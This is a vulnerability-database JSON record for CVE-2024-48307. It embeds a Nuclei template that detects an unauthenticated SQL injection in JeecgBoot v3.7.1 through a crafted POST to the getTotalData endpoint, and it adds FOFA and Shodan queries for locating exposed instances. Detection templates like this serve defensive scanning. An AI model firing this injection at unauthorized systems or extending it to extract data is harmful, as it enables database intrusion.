{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2024-48307/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2024-48307/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2024-48307/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2024-48307/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2024-48307/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2024-48307"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2024-48307"
    }
  },
  "data": {
    "nuclei": true,
    "nuclei_template": "http/cves/2024/CVE-2024-48307.yaml",
    "nuclei_template_severity": "critical",
    "nuclei_template_yaml": "id: CVE-2024-48307\n\ninfo:\n  name: JeecgBoot v3.7.1 - SQL Injection\n  author: lbb,s4e-io\n  severity: critical\n  description: |\n    The JeecgBoot application is vulnerable to SQL Injection via the `getTotalData` endpoint. An attacker can exploit this vulnerability to extract sensitive information from the database by injecting SQL commands.\n  impact: |\n    Unauthenticated attackers can execute arbitrary SQL commands to extract sensitive information from the JeecgBoot database.\n  remediation: |\n    Update JeecgBoot to a version that patches CVE-2024-48307.\n  reference:\n    - https://github.com/wy876/POC/blob/main/JeecgBoot/JeecgBoot%E6%8E%A5%E5%8F%A3getTotalData%E5%AD%98%E5%9C%A8%E6%9C%AA%E6%8E%88%E6%9D%83SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E(CVE-2024-48307).md\n    - https://github.com/jeecgboot/JeecgBoot/issues/7237\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H\n    cvss-score: 9.8\n    cve-id: CVE-2024-48307\n    cwe-id: CWE-89\n    epss-score: 0.44335\n    epss-percentile: 0.98705\n  metadata:\n    max-request: 2\n    vendor: jeecg\n    product: jeecg_boot\n    fofa-query:\n      - icon_hash=\"-250963920\"\n      - icon_hash=1380908726\n      - title=\"jeecg-boot\"\n    shodan-query: http.favicon.hash:\"1380908726\"\n  tags: cve2024,cve,jeecg,sqli,vkev,vuln\n\nvariables:\n  num: \"999999999\"\n\nhttp:\n  - raw:\n      - |\n        POST {{path}}drag/onlDragDatasetHead/getTotalData HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/json\n\n        {\"tableName\":\"sys_user\",\"compName\":\"test\",\"condition\":{\"filter\":{}},\"config\":{\"assistValue\":[],\"assistType\":[],\"name\":[{\"fieldName\":\"concat(md5({{num}}),0x3a,0x3a)\",\"fieldType\":\"string\"},{\"fieldName\":\"id\",\"fieldType\":\"string\"}],\"value\":[{\"fieldName\":\"id\",\"fieldType\":\"1\"}],\"type\":[]}}\n\n    payloads:\n      path:\n        - /jeecg-boot/\n        - /\n\n    attack: batteringram\n    stop-at-first-match: true\n\n    matchers:\n      - type: dsl\n        dsl:\n          - 'contains(body, \"YzhjNjA1OTk5ZjNkODM1MmQ3YmI3OTJjZjNmZGIyNWI6Og==\")'\n          - 'contains(content_type, \"application/json\")'\n          - \"status_code == 200\"\n        condition: and\n# digest: 490a004630440220709b5a6984b8d76080745b6c5a3fbeaf848b68aa56d171a41e9c660f15c56d720220181756876e55bf8cbcb81c6945d896a8c353a170176a3c715eaab2736ca8ac87:922c64590222798bb761d5b6d8e72950"
  },
  "source": "nuclei",
  "vuln_id": "cve-2024-48307"
}